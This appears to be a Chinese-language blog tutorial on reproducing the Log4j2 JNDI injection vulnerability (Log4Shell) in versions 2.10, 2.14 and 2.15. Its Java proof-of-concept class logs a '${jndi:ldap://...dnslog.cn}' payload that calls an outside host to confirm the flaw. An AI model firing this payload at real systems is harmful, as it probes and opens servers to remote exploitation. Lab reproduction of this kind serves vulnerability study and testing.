Apache log4j2 各版本漏洞复现,来看看你会不会

Apache log4j2 各版本漏洞复现,来看看你会不会

精选文章moguli202025-02-19 11:25:2718A+A-

最近整理了一些奇安信&华为&深信服大佬的课件资料+大厂面试课题,想要的可以私信回复“资料”自取,无偿赠送给粉丝朋友~

Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。

复现环境

java 版本:1.8.0_241

log4j 2.10版本漏洞复现

下载地址:
https://archive.apache.org/dist/logging/log4j/2.10.0

idea新建项目

项目路径

将log4j-api-2.10.0.jar,log4j-core-2.10.0.jar放入lib目录下,验证当前版本是否存在漏洞

在IDEA里将lib目录添加为库

新增java类

Log4jPOC.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4jPOC {
    private static final Logger logger = LogManager.getLogger(Log4jPOC.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://i7dint.dnslog.cn}");
    }
}

其中i7dint.dnslog.cn修改为相应的地址

运行POC

回显

说明log4j-api-2.10,log4j-core-2.10版本存在漏洞

log4j 2.14版本漏洞复现

log4j-api-2.14 下载地址:
https://archive.apache.org/dist/logging/log4j/2.14.0/

将log4j-api-2.14 log4j-core-2.14放入lib目录

使用IDEA将lib目录添加到库

如下所示;

运行Log4jPOC

回显

log4j-api-2.15版本

将log4j-api-2.15 log4j-core-2.15放入lib目录

下载地址:
https://www.apache.org/dyn/closer.lua/logging/log4j/2.15.0/apache-log4j-2.15.0-bin.zip

使用IDEA将lib目录添加到库

如下所示;

运行Log4jPOC

log4j-api-2.15并未回显

poc来源:

https://github.com/tangxiaofeng7/apache-log4j-poc.git



点击这里复制本文地址 以上内容由莫古技术网整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
qrcode

莫古技术网 © All Rights Reserved.  滇ICP备2024046894号-2